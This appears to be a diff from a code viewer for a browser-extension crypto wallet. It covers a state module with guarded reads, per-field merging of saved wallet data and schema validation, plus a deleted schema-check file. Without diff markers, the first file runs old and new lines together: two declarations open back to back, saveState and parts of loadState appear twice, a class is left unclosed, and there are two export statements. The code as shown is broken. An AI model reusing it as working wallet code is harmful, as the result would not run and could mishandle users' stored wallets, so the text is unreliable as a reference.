} = require("./persistedState");
const { DEFAULT_RPC_URL, DEFAULT_BLOCKSCOUT_URL } = require("./constants");
const {
STATE_SCHEMA_VERSION,
assertStateUsable,
migrationNeeded,
} = require("./stateSchema");
const storageApi =
typeof browser !== "undefined"
? browser.storage.local
: chrome.storage.local;
const { storageGet, storageSet } = require("./browserApi");
const { log } = require("./log");
const DEFAULT_STATE = {
hasWallet: false,
wallets: [],
trackedTokens: [],
rpcUrl: DEFAULT_RPC_URL,
blockscoutUrl: DEFAULT_BLOCKSCOUT_URL,
lastBalanceRefresh: 0,
activeAddress: null,
allowedSites: {},
deniedSites: {},
rememberSiteChoice: true,
showZeroBalanceTokens: true,
hideLowHolderTokens: true,
hideFraudContracts: true,
hideDustTransactions: true,
dustThresholdGwei: 100000,
fraudContracts: [],
tokenHolderCache: {},
};
// The live record the proxy below guards. Everything inside this module reads
// and writes THIS object, never the proxy: the guard is for callers.
const rawState = {
const state = {
...DEFAULT_STATE,
// Its own object, not the one DEFAULT_STATE holds: applyChainSwitchFields()
// mutates this map in place, and a spread copies the reference.
networkEndpoints: {},
currentView: null,
selectedWallet: null,
selectedAddress: null,
selectedToken: null,
viewData: {},
viewStack: [],
};
// False until loadState() has completed in this bundle. Until then, a
// persisted field that has not been assigned in this context cannot be READ:
// see StateNotLoadedError.
let loaded = false;
// True once this context has assigned anything into the singleton.
//
// What the guard is for is a context that READS a profile nobody put there —
// every one of the five defects was a pure read of an untouched singleton,
// answered out of DEFAULT_STATE. A context that has written into it is
// managing it deliberately (the popup does, via loadState() at boot and by
// hand thereafter), and reading back what you yourself put there is not the
// mistake being caught.
//
// The cost of that is honest and worth naming: a context that writes one field
// and then reads a different, untouched one is still served that field's
// default. Nothing closes that here — what closes it for the background is
// that the background cannot reach this module at all, which build.js asserts
// against esbuild's metafile on every build (FORBIDDEN_INPUTS in
// script/lib/forbiddenBundleInputs.js, pinned by
// tests/buildForbiddenInputs.test.js).
let adopted = false;
// Every field whose pre-load value would be a plausible-looking default rather
// than the user's data. The view scratch fields are guarded too: currentView
// and viewStack are persisted, and a save that carried their pre-load values
// would overwrite a real stored stack with an empty one.
const GUARDED_FIELDS = new Set(PERSISTED_FIELDS.concat(["hasWallet"]));
class StateNotLoadedError extends Error {
constructor(field) {
super(
"state." +
field +
" was read before loadState(); this context has no profile" +
" loaded and must not be served DEFAULT_STATE",
);
this.name = "StateNotLoadedError";
}
async function saveState() {
const persisted = {
hasWallet: state.hasWallet,
wallets: state.wallets,
trackedTokens: state.trackedTokens,
rpcUrl: state.rpcUrl,
blockscoutUrl: state.blockscoutUrl,
lastBalanceRefresh: state.lastBalanceRefresh,
activeAddress: state.activeAddress,
allowedSites: state.allowedSites,
deniedSites: state.deniedSites,
rememberSiteChoice: state.rememberSiteChoice,
showZeroBalanceTokens: state.showZeroBalanceTokens,
hideLowHolderTokens: state.hideLowHolderTokens,
hideFraudContracts: state.hideFraudContracts,
hideDustTransactions: state.hideDustTransactions,
dustThresholdGwei: state.dustThresholdGwei,
fraudContracts: state.fraudContracts,
tokenHolderCache: state.tokenHolderCache,
currentView: state.currentView,
selectedWallet: state.selectedWallet,
selectedAddress: state.selectedAddress,
selectedToken: state.selectedToken,
viewData: state.viewData,
};
await storageApi.set({ autistmask: persisted });
}
// Loud, not defaulted. The whole defect class this guard closes looks exactly
// like working code at the call site: the read succeeds, the value is
// well-formed, and it describes a wallet that is not the user's.
const state = new Proxy(rawState, {
get(target, prop, receiver) {
if (
!loaded &&
!adopted &&
typeof prop === "string" &&
GUARDED_FIELDS.has(prop)
) {
throw new StateNotLoadedError(prop);
}
return Reflect.get(target, prop, receiver);
},
set(target, prop, value, receiver) {
if (typeof prop === "string" && GUARDED_FIELDS.has(prop)) {
adopted = true;
}
return Reflect.set(target, prop, value, receiver);
},
});
// Return the network configuration for the currently selected network.
function currentNetwork() {
return networkById(state.networkId);
}
// The persisted fields as they stood at the end of this page's last
// loadState() or saveState(). saveState() diffs the live state against this
// to find only the fields THIS page actually changed.
//
// Deep-cloned, not a reference: callers mutate persisted objects and arrays
// in place (state.wallets.push(...)), and a reference baseline would mutate
// right along with `state`, so the diff would always come out empty.
let baseline = null;
function snapshotPersisted() {
const out = {};
for (const key of PERSISTED_FIELDS) out[key] = rawState[key];
return out;
}
function deepEqual(a, b) {
if (a === b) return true;
if (typeof a !== "object" || typeof b !== "object") return false;
if (a === null || b === null) return false;
if (Array.isArray(a) !== Array.isArray(b)) return false;
const aKeys = Object.keys(a);
const bKeys = Object.keys(b);
if (aKeys.length !== bKeys.length) return false;
for (const key of aKeys) {
if (!Object.prototype.hasOwnProperty.call(b, key)) return false;
if (!deepEqual(a[key], b[key])) return false;
}
return true;
}
// Stable identity for a wallet, independent of its position in the array
// (which shifts under a concurrent add/delete elsewhere) and independent of
// its mutable fields (name is user-editable; addresses gains/loses entries
// via scanning and deleteAddress.js). An "hd"/"xprv" wallet's xpub never
// changes for its lifetime and is already enforced unique
// (findWalletByXpub() in addWallet.js). A "key" wallet has no xpub, exactly
// one address for its whole lifetime (nothing ever adds to or removes from
// a key wallet's address list), and that address is already enforced
// unique (findWalletByAddress()) — so it stands in for identity there.
// Neither invariant is enforced by this function or by
// mergeListByIdentity() below — they hold only because every wallet-
// creation path in addWallet.js happens to populate one or the other before
// the wallet ever reaches state.wallets, and because canRemoveAddress() in
// walletDelete.js never lets a wallet's address list go to zero. A wallet
// with neither (an empty/legacy/corrupt record) falls back to the same
// "addr:" identity as every other such record, which is a genuine
// collision, not a proxy for one — see the collision handling in
// mergeListByIdentity().
function walletIdentity(wallet) {
if (wallet.xpub) return "xpub:" + wallet.xpub;
const first = wallet.addresses && wallet.addresses[0];
return "addr:" + (first ? String(first.address).toLowerCase() : "");
}
// Stable identity for an address within one wallet's address list. An
// address is unique within its wallet and, once derived or imported, never
// changes — only whether it is present.
function addressIdentity(addr) {
return String(addr.address).toLowerCase();
}
// Merge one array of identity-bearing objects (wallets, or the addresses
// inside one wallet) by identity rather than by array index — an index
// shifts under a concurrent insert/delete elsewhere, which would merge the
// wrong pair of objects entirely.
//
// `theirs` (fresh storage) sets the membership baseline and the order:
// - An item this page never had baseline knowledge of, but that is in
// `theirs`, was added by someone else — kept as-is.
// - An item `base` had and `ours` no longer has was deleted by THIS page
// — dropped even though `theirs` still has it (this page's own delete
// must win over a background save that only touched leaf fields).
// - An item present in both `ours` and `theirs` is merged leaf-by-leaf via
// `mergeItem`, so a leaf this page changed (e.g. a renamed wallet) lands
// on top of `theirs`' otherwise-current copy (e.g. a refreshed balance).
// Anything left in `ours` that `base` never had and `theirs` does not have
// yet is this page's own new addition — appended.
//
// `identityOf` is not guaranteed collision-free (walletIdentity() falls
// back to one shared "addr:" value for any wallet with neither an xpub nor
// a populated first address). Two records that collide under it must never
// silently collapse into one — that is exactly how this function used to
// drop a wallet, encryptedSecret included, with no error and no log. Two
// defenses:
// - `ours` is indexed into GROUPS, not a single item per identity, so two
// colliding live items on this page can't overwrite each other in the
// index before the merge below even runs.
// - A matched pair with no shared `base` entry (neither page ever agreed
// on this identity) is only merged leaf-by-leaf when the two sides are
// already equal. If they differ, that is not "the same record edited
// twice", it is two different records that happen to share an identity
// — both are kept, unmerged, rather than guessing which one is real.
function mergeListByIdentity(base, ours, theirs, identityOf, mergeItem) {
base = base || [];
ours = ours || [];
theirs = theirs || [];
const baseIndex = new Map(base.map((item) => [identityOf(item), item]));
const oursIndex = new Map();
for (const item of ours) {
const id = identityOf(item);
if (!oursIndex.has(id)) oursIndex.set(id, []);
oursIndex.get(id).push(item);
}
const result = [];
const seen = new Set();
for (const theirItem of theirs) {
const id = identityOf(theirItem);
seen.add(id);
const oursGroup = oursIndex.get(id);
if (baseIndex.has(id) && !oursGroup) continue;
if (oursGroup) {
const baseItem = baseIndex.get(id);
if (!baseItem && !deepEqual(oursGroup[0], theirItem)) {
log.errorf(
"state: identity collision merging",
JSON.stringify(id),
"- keeping both records instead of dropping one",
);
result.push(theirItem, ...oursGroup);
} else {
result.push(mergeItem(baseItem, oursGroup[0], theirItem));
for (let i = 1; i < oursGroup.length; i++) {
result.push(oursGroup[i]);
}
}
} else {
result.push(theirItem);
}
}
for (const item of ours) {
const id = identityOf(item);
if (seen.has(id)) continue;
if (!baseIndex.has(id)) result.push(item);
}
return result;
}
// Merge one wallet's scalar/leaf fields (name, encryptedSecret, nextIndex,
// ...) against base, then recurse into its address list by identity. `base`
// is null when this page created the wallet itself and no other page has
// (yet) produced a same-identity record — nothing to merge in that case,
// this page's own copy wins outright. mergeListByIdentity() only ever calls
// this with `!base` when `ours` and `theirs` are already equal (a genuine
// collision between two DIFFERENT same-identity records is caught and kept
// as two separate entries before this function is reached), so returning
// `ours` here can't discard a different wallet's data.
function mergeWallet(base, ours, theirs) {
if (!base) return ours;
const merged = { ...theirs };
for (const key of Object.keys(ours)) {
if (key === "addresses") continue;
if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
}
merged.addresses = mergeListByIdentity(
base.addresses,
ours.addresses,
theirs.addresses,
addressIdentity,
mergeAddress,
);
return merged;
}
// Merge one address's leaf fields (balance, ensName, tokenBalances, ...).
// tokenBalances is itself an array, but only a balance refresh ever writes
// it and always wholesale (refreshBalances() in src/shared/balances.js), so
// there is no membership to reconcile within it — it is a leaf like balance
// or ensName, not a list with its own identity.
function mergeAddress(base, ours, theirs) {
if (!base) return ours;
const merged = { ...theirs };
for (const key of Object.keys(ours)) {
if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
}
return merged;
}
// Merge a plain object keyed by string (allowedSites/deniedSites: address ->
// hostname list; networkEndpoints: networkId -> {rpcUrl, blockscoutUrl}) the
// same way mergeListByIdentity() merges an array — by key, not by whole-
// object diff — so a key one page added or removed applies independently of
// a key another page edited. Unlike an array's identity function, an object
// key can't collide with a different logical entry (Object.keys() is
// already deduplicated), so this needs no collision floor of its own.
function mergeMapByKey(base, ours, theirs, mergeLeaf) {
base = base || {};
ours = ours || {};
theirs = theirs || {};
const result = {};
const seen = new Set();
for (const key of Object.keys(theirs)) {
seen.add(key);
const inBase = Object.prototype.hasOwnProperty.call(base, key);
const inOurs = Object.prototype.hasOwnProperty.call(ours, key);
if (inBase && !inOurs) continue; // this page deleted the whole entry
if (inOurs) {
result[key] = mergeLeaf(base[key], ours[key], theirs[key]);
} else {
result[key] = theirs[key];
}
}
for (const key of Object.keys(ours)) {
if (seen.has(key)) continue;
if (!Object.prototype.hasOwnProperty.call(base, key)) {
result[key] = ours[key];
}
}
return result;
}
// allowedSites/deniedSites: { [address]: [hostname, ...] }. The hostname
// list is itself membership, not a leaf — the background appends a newly
// approved/denied hostname to it, and the Settings "revoke" button
// (src/popup/views/settings.js) filters a hostname out of it in place, from a
// different page. Merge it the same way wallets are merged: identity is the
// hostname itself, so a merged pair is always equal and mergeItem is a no-op
// pick.
function mergeHostnameList(base, ours, theirs) {
return mergeListByIdentity(
base,
ours,
theirs,
(hostname) => hostname,
(b, o, t) => t,
);
}
function mergeSiteMap(base, ours, theirs) {
return mergeMapByKey(base, ours, theirs, mergeHostnameList);
}
// networkEndpoints: { [networkId]: {rpcUrl, blockscoutUrl} }.
// applyChainSwitchFields() (src/shared/chainSwitchFields.js) writes
// networkEndpoints[networkId] in place before saving. No code path ever
// removes a key from this map, so the membership collision that matters for
// allowedSites/wallets (an add on one page racing a delete on another) can't
// happen here — but two pages switching to two different networks
// concurrently still race a whole-field diff the same way, so it gets the same
// per-key merge for the leaf edit case (e.g. Settings saving a custom RPC URL
// for the active network).
function mergeEndpointEntry(base, ours, theirs) {
if (!base) return ours;
const merged = { ...theirs };
for (const key of Object.keys(ours)) {
if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
}
return merged;
}
function mergeNetworkEndpoints(base, ours, theirs) {
return mergeMapByKey(base, ours, theirs, mergeEndpointEntry);
}
// Read-modify-write, merged per field, rather than one full-blob write.
//
// Every extension page (the toolbar popup, a dApp approval window) holds its
// own in-memory `state`, loaded once, and showView() saves on every
// navigation. A full-blob write here clobbers whatever a second page had
// written since — including, in the worst case, an entire wallet and its
// encrypted secret with no attacker and no unusual input (see the issue this
// fixes).
//
// Only the fields this page actually changed — those that differ from
// `baseline`, captured at the last loadState()/saveState() on this page —
// are written; every other field is carried forward from whatever is in
// storage right now, which may already be a value another page wrote.
//
// `wallets` is merged structurally (mergeListByIdentity(), by wallet
// identity and then by address identity within each wallet), not as one
// whole field: a balance refresh mutates wallets IN PLACE (addr.balance /
// ensName / tokenBalances, via refreshBalances()), so a whole-field diff
// would mark all of `wallets` "changed" the moment any balance moved and
// write back that page's own copy — loaded before its multi-second network
// round trip — clobbering a wallet another page added, or resurrecting one
// another page deleted, in that window. Merging by identity lets the leaf
// changes and another page's membership changes (add/delete a wallet or an
// address) apply independently instead of colliding as the same field.
//
// `allowedSites` and `deniedSites` get the same treatment (mergeSiteMap(),
// by address key and then by hostname within each address's list), for the
// identical reason: the background appends a newly approved/denied hostname
// to them, and the Settings "revoke" button (src/popup/views/settings.js)
// filters one out in place, from a different page. A whole-field diff here
// doesn't just lose data, it is a security defect — a stale page's save can
// resurrect a just-revoked site permission, or silently wipe a permission just
// granted elsewhere.
//
// `networkEndpoints` gets the same treatment too (mergeNetworkEndpoints(),
// by network id), since applyChainSwitchFields() writes into it in place; the
// value per key is a small leaf object with no membership of its own; see the
// comment at mergeEndpointEntry() for why the collision this closes is
// milder than the other two.
//
// Every other persisted field stays a whole-field diff:
// `trackedTokens`/`fraudContracts`/`viewStack` are arrays of scalars with no
// per-element identity to merge by; `tokenHolderCache` is a map shaped like
// the ones above, but nothing in src/ ever writes an entry into it — it is
// only ever reset wholesale to `{}` (applyChainSwitchFields()) — so there is
// no in-place mutation for a whole-field diff to collide with; `viewData` is
// this page's own UI scratch space, not data another page has any reason to
// share membership of.
//
// This does not make two pages that both change the SAME leaf concurrently
// safe: last write wins on that one leaf, same as before. What it removes
// is the cross-field (and now cross-membership-vs-leaf) clobber — a page
// that only navigated, or only refreshed a balance, overwriting a wallet or
// address list it never touched the membership of.
//
// This page's own live `state` is deliberately NOT rehydrated from a field
// another page changed — only the record written to storage is merged.
// showView() fires saveState() on every navigation without awaiting it,
// which is what makes the queue above necessary in the first place, and a
// save that is slow to come back has no way to tell whether the field it
// is about to hand back is still the current answer or has since been
// overtaken by something this very page did in the meantime; writing it
// into `state` regardless reintroduced exactly the clobber this function
// exists to remove, just delayed and confined to one page instead of two
// (caught by tests/txStatus.test.js). A page's live picture of a field it
// does not own goes on being whatever its last loadState() saw, same as
// before this fix; only the persisted record is guaranteed current.
async function saveStateOnce() {
const current = snapshotPersisted();
const result = await storageGet("autistmask");
// The record in storage right now is about to be merged into and written
// back, so it is validated exactly like a load validates it. Without this,
// a page whose own load succeeded would normalize a record it does not
// understand — one a NEWER build wrote in the meantime, say — and write
// the result back over it, destroying the only copy of whatever that
// record held. Refusing is louder than that and loses nothing: the live
// state is untouched and the next save retries.
assertStateUsable(result.autistmask);
// Normalized, not raw: a field this page did not change still has to
// come from storage in its loaded (self-healed) shape. See
// normalizePersisted() in persistedState.js.
const fresh = normalizePersisted(result.autistmask);
const merged = { ...fresh };
for (const key of PERSISTED_FIELDS) {
if (key === "wallets") {
merged.wallets = mergeListByIdentity(
baseline ? baseline.wallets : [],
current.wallets,
fresh.wallets,
walletIdentity,
mergeWallet,
);
} else if (key === "allowedSites" || key === "deniedSites") {
merged[key] = mergeSiteMap(
baseline ? baseline[key] : {},
current[key],
fresh[key],
);
} else if (key === "networkEndpoints") {
merged.networkEndpoints = mergeNetworkEndpoints(
baseline ? baseline.networkEndpoints : {},
current.networkEndpoints,
fresh.networkEndpoints,
);
} else if (
baseline === null ||
!deepEqual(current[key], baseline[key])
) {
merged[key] = current[key];
}
}
merged.hasWallet = Boolean(merged.wallets && merged.wallets.length > 0);
// Stamped on every write, never merged or diffed: the record that goes to
// storage is in THIS build's shape whatever shape it was read in, which is
// what migrates the unversioned records every install in the field holds.
merged.schemaVersion = STATE_SCHEMA_VERSION;
await storageSet({ autistmask: merged });
// Derived from this page's own wallets, never adopted off the wire —
// see loadState(). Everything else this page did not change is left
// exactly as it stood; see the note above.
rawState.hasWallet = rawState.wallets.length > 0;
baseline = structuredClone(snapshotPersisted());
}
// showView() calls saveState() on every navigation without awaiting it, so
// two saves from the SAME page can be in flight at once — e.g. a screen
// shown, then immediately replaced before the first save's storageGet()
// round trip has come back. Left concurrent, the first save's turn would
// finish after the second's live-state mutation and then re-hydrate `state`
// from what IT read, stomping the second, later change back to a stale
// value — the same clobber this function exists to prevent, just between
// two saves on one page instead of two pages. Queuing makes every save's
// snapshot-diff-write-rehydrate run start to finish before the next one
// begins, so each one only ever sees the true live state at its turn.
let saveQueue = Promise.resolve();
function saveState() {
const turn = saveQueue.then(saveStateOnce);
// The queue must advance even when a save rejects, or every save after
// it queues behind a promise that never settles.
saveQueue = turn.catch(() => {});
return turn;
}
// Rejects with StateUnusableError for a stored record this build cannot make
// sense of. Nothing is assigned and `loaded` stays false in that case, so a
// caller that ignores the rejection gets StateNotLoadedError on the first
// read rather than a half-populated profile. The caller that does NOT ignore
// it is the popup entry point, which shows the recovery screen
// (src/popup/views/stateRecovery.js) instead of proceeding.
async function loadState() {
const result = await storageGet("autistmask");
// Before normalization, on the raw bytes: normalizing first would paper
// over the very shapes this refuses, which is how a corrupt record used to
// reach the popup and blank it (issue #311).
assertStateUsable(result.autistmask);
if (migrationNeeded(result.autistmask)) {
log.infof(
"state: migrating an unversioned profile to schema version",
STATE_SCHEMA_VERSION,
);
}
const result = await storageApi.get("autistmask");
if (result.autistmask) {
Object.assign(rawState, normalizePersisted(result.autistmask));
const saved = result.autistmask;
state.hasWallet = saved.hasWallet;
state.wallets = saved.wallets || [];
state.trackedTokens = saved.trackedTokens || [];
state.rpcUrl = saved.rpcUrl || DEFAULT_STATE.rpcUrl;
state.blockscoutUrl =
saved.blockscoutUrl || DEFAULT_STATE.blockscoutUrl;
state.lastBalanceRefresh = saved.lastBalanceRefresh || 0;
state.activeAddress = saved.activeAddress || null;
state.allowedSites =
saved.allowedSites && !Array.isArray(saved.allowedSites)
? saved.allowedSites
: {};
state.deniedSites =
saved.deniedSites && !Array.isArray(saved.deniedSites)
? saved.deniedSites
: {};
state.rememberSiteChoice =
saved.rememberSiteChoice !== undefined
? saved.rememberSiteChoice
: true;
state.showZeroBalanceTokens =
saved.showZeroBalanceTokens !== undefined
? saved.showZeroBalanceTokens
: true;
state.hideLowHolderTokens =
saved.hideLowHolderTokens !== undefined
? saved.hideLowHolderTokens
: true;
state.hideFraudContracts =
saved.hideFraudContracts !== undefined
? saved.hideFraudContracts
: true;
state.hideDustTransactions =
saved.hideDustTransactions !== undefined
? saved.hideDustTransactions
: true;
state.dustThresholdGwei =
saved.dustThresholdGwei !== undefined
? saved.dustThresholdGwei
: 100000;
state.fraudContracts = saved.fraudContracts || [];
state.tokenHolderCache = saved.tokenHolderCache || {};
state.currentView = saved.currentView || null;
state.selectedWallet =
saved.selectedWallet !== undefined ? saved.selectedWallet : null;
state.selectedAddress =
saved.selectedAddress !== undefined ? saved.selectedAddress : null;
state.selectedToken = saved.selectedToken || null;
state.viewData = saved.viewData || {};
}
// Whether storage had a profile or was empty, this context has now read
// it, and the defaults standing in for an empty profile are the right
// answer rather than a stand-in for one nobody looked for.
loaded = true;
// The point of comparison every saveState() on this page diffs against.
// See PERSISTED_FIELDS in persistedState.js for why a reference here
// would be wrong.
baseline = structuredClone(snapshotPersisted());
}
// Through the guarded proxy, not rawState: a caller asking which address is
// selected before anything was loaded gets the same loud failure it would get
// reading the fields itself.
function currentAddress() {
if (state.selectedWallet === null || state.selectedAddress === null) {
return null;
@@ -571,11 +127,4 @@ function currentAddress() {
return state.wallets[state.selectedWallet].addresses[state.selectedAddress];
}
module.exports = {
state,
saveState,
loadState,
currentAddress,
currentNetwork,
StateNotLoadedError,
};
module.exports = { state, saveState, loadState, currentAddress };

View File

@@ -1,271 +0,0 @@
// The version stamped on the stored profile, and the shape check every read
// of one goes through.
//
// Storage is the one input to this extension that nobody validated. A profile
// carried no version at all, so there was no way to tell a record this build
// understands from one a later build wrote, and loadState() coerced scalars
// while trusting the structure — so a `wallets` that was a string, or an array
// of nulls, or a later schema's wallet records, reached the popup and threw on
// the first dereference. The popup rendered NOTHING: no view, no message, no
// control, and no way out from inside the product
// (https://git.eeqj.de/sneak/AutistMask/issues/311).
//
// Two separate jobs, deliberately not merged:
//
// stateProblem() / assertStateUsable() refuse a record this build cannot
// safely reason about, loudly, naming the problem in a
// sentence that goes on screen. This is the gate.
// normalizePersisted() (persistedState.js) self-heal a record that IS
// usable: absent fields, legacy shapes, out-of-range flags.
//
// The gate runs FIRST, on the raw stored bytes, before normalization has a
// chance to paper over a record whose meaning nobody can vouch for. A blob
// that fails it is left in storage untouched — it is the user's only copy of
// whatever it holds, and the recovery screen exports it before offering to
// erase it.
//
// What is checked HERE is what nothing downstream can floor: the wallet list,
// the version, and the network id that keys an object. Every other field is
// normalizePersisted()'s to make safe, and what that function does today is
// NOT uniform. The four kinds of floor it applies, listed so a reader can tell
// which one a given field has without reading it off:
//
// Type-checked, container AND entries: trackedTokens, each address's
// tokenBalances, networkId, networkEndpoints, activeAddress, viewStack.
// These are the fields something dereferences structurally — iterated,
// indexed, assigned into, or .toLowerCase()'d — where a truthy value of
// the wrong type throws on the first read. The entries matter as much as
// the container: [1, 2] IS a list, and `t.address` is one level below the
// Array.isArray(). What is checked on an ENTRY is the field the check
// exists for and no more — for trackedTokens and tokenBalances that is
// `address` alone; the rest of an entry is taken verbatim. So an entry's
// `decimals` and `balance` may be null, which is how balances.js records
// that nothing knows the token's scale
// (https://git.eeqj.de/sneak/AutistMask/issues/349), and every reader
// handles that null rather than being defended from it here.
// Container shape only: allowedSites, deniedSites. A falsy value or a list
// becomes {}; anything else is taken as stored and the entries are not
// checked.
// `saved.x || default`, no type check: rpcUrl, blockscoutUrl,
// lastBalanceRefresh, fraudContracts, tokenHolderCache, theme,
// currentView, selectedToken, viewData.
// Present-or-default, value taken verbatim: every boolean flag,
// dustThresholdGwei, selectedWallet, selectedAddress.
//
// A field added to the record needs a check here or a floor there, chosen by
// what reads it: anything dereferenced structurally needs the type check, and
// neither of the last two kinds is one.
const { isKnownNetworkId } = require("./networks");
// Bump this when the MEANING of a stored field changes, and add the migration
// that carries the older version forward. Adding a field with a defaulted
// absent value is not a bump: normalizePersisted() already handles that, and
// bumping for it would send every older install to the recovery screen for no
// reason.
//
// Version 1 is the shape that shipped unversioned. An unversioned record is
// therefore version 1, not a defect — see migrationNeeded() below.
const STATE_SCHEMA_VERSION = 1;
// Thrown by every read path that finds a record it cannot use. `problem` is
// the sentence shown to the user; `message` carries the same text so a log
// line or a rethrow is not empty.
class StateUnusableError extends Error {
constructor(problem) {
super(problem);
this.name = "StateUnusableError";
this.problem = problem;
}
}
function isPlainObject(value) {
return typeof value === "object" && value !== null && !Array.isArray(value);
}
// Own properties only, everywhere in this file. `saved` comes from storage as
// parsed JSON, so `saved.constructor` and `saved.__proto__` answer from the
// prototype chain for a record that carries neither — a check written as a
// plain truthiness test can be satisfied by Object.prototype rather than by
// anything the user's profile actually contains.
function has(obj, key) {
return Object.prototype.hasOwnProperty.call(obj, key);
}
function ordinal(index) {
return String(index + 1);
}
function describeType(value) {
if (value === null) return "null";
if (Array.isArray(value)) return "a list";
return "a " + typeof value;
}
// One address record, as every screen dereferences it.
function addressProblem(addr, walletIndex, addrIndex) {
const where =
"address " +
ordinal(addrIndex) +
" of wallet " +
ordinal(walletIndex) +
" in the saved data";
if (!isPlainObject(addr)) {
return "The " + where + " is " + describeType(addr) + ", not a record.";
}
if (typeof addr.address !== "string" || addr.address === "") {
return "The " + where + " has no address.";
}
return null;
}
function walletProblem(wallet, index) {
const where = "Wallet " + ordinal(index) + " in the saved data";
if (!isPlainObject(wallet)) {
return where + " is " + describeType(wallet) + ", not a wallet record.";
}
if (!Array.isArray(wallet.addresses)) {
return where + " has no list of addresses.";
}
if (has(wallet, "name") && typeof wallet.name !== "string") {
return where + " has a name that is not text.";
}
for (let i = 0; i < wallet.addresses.length; i++) {
const problem = addressProblem(wallet.addresses[i], index, i);
if (problem) return problem;
}
return null;
}
function versionProblem(saved) {
// No version field at all is the shape every install in the field has:
// no build ever wrote one. It is version 1, and it is migrated in place.
if (!has(saved, "schemaVersion")) return null;
const version = saved.schemaVersion;
if (
typeof version !== "number" ||
!Number.isInteger(version) ||
version < 1
) {
return (
"The saved data carries a schema version AutistMask does not" +
" recognize (" +
JSON.stringify(version) +
")."
);
}
if (version > STATE_SCHEMA_VERSION) {
return (
"The saved data was written by a newer version of AutistMask" +
" (schema version " +
version +
"; this build understands version " +
STATE_SCHEMA_VERSION +
")."
);
}
return null;
}
/**
* The reason this build cannot use `saved`, as a sentence for the user, or
* null when it can.
*
* @param {*} saved the raw record from storage, or undefined for a fresh
* install.
* @returns {string|null}
*/
function stateProblem(saved) {
// Nothing stored is a first run, not a defect.
if (saved === undefined || saved === null) return null;
if (!isPlainObject(saved)) {
return (
"The saved data is " +
describeType(saved) +
", not the record AutistMask stores."
);
}
const version = versionProblem(saved);
if (version) return version;
// Read once, from an OWN property or not at all, so that a polluted
// prototype cannot decide whether a profile is refused. Note that
// normalizePersisted() reads the same field plainly, and so WOULD consult
// the prototype chain: the two halves agree only because a record arriving
// from storage has been through structuredClone and always carries
// Object.prototype. Nothing reachable from storage can put them at odds,
// but a caller that hands either one a hand-built object with an unusual
// prototype is not covered by that.
const wallets =
has(saved, "wallets") && saved.wallets !== undefined
? saved.wallets
: [];
if (!Array.isArray(wallets)) {
return (
"The list of wallets in the saved data is " +
describeType(wallets) +
", not a list."
);
}
for (let i = 0; i < wallets.length; i++) {
const problem = walletProblem(wallets[i], i);
if (problem) return problem;
}
// networkId is not merely displayed: it is an object KEY into
// state.networkEndpoints. A corrupt "__proto__" would set that map's
// prototype instead of an own key, so the user's endpoint would silently
// not be recorded and a switch away and back would return the public
// default. isKnownNetworkId() is an own-property test against the network
// table for exactly that reason.
if (
has(saved, "networkId") &&
saved.networkId !== undefined &&
!isKnownNetworkId(saved.networkId)
) {
return (
"The saved data selects a network AutistMask does not know (" +
JSON.stringify(saved.networkId) +
")."
);
}
return null;
}
/**
* Refuse a record this build cannot use.
*
* @param {*} saved the raw record from storage.
* @throws {StateUnusableError}
*/
function assertStateUsable(saved) {
const problem = stateProblem(saved);
if (problem) throw new StateUnusableError(problem);
}
/**
* Whether `saved` is a usable record written before versions existed, and so
* gets the current version stamped on it the next time anything writes. Purely
* informational — the migration itself is that stamp, since version 1 IS the
* unversioned shape.
*
* @param {*} saved
* @returns {boolean}
*/
function migrationNeeded(saved) {
return (
isPlainObject(saved) &&
!has(saved, "schemaVersion") &&
stateProblem(saved) === null
);
}
module.exports = {
STATE_SCHEMA_VERSION,
StateUnusableError,
assertStateUsable,
migrationNeeded,
stateProblem,
};

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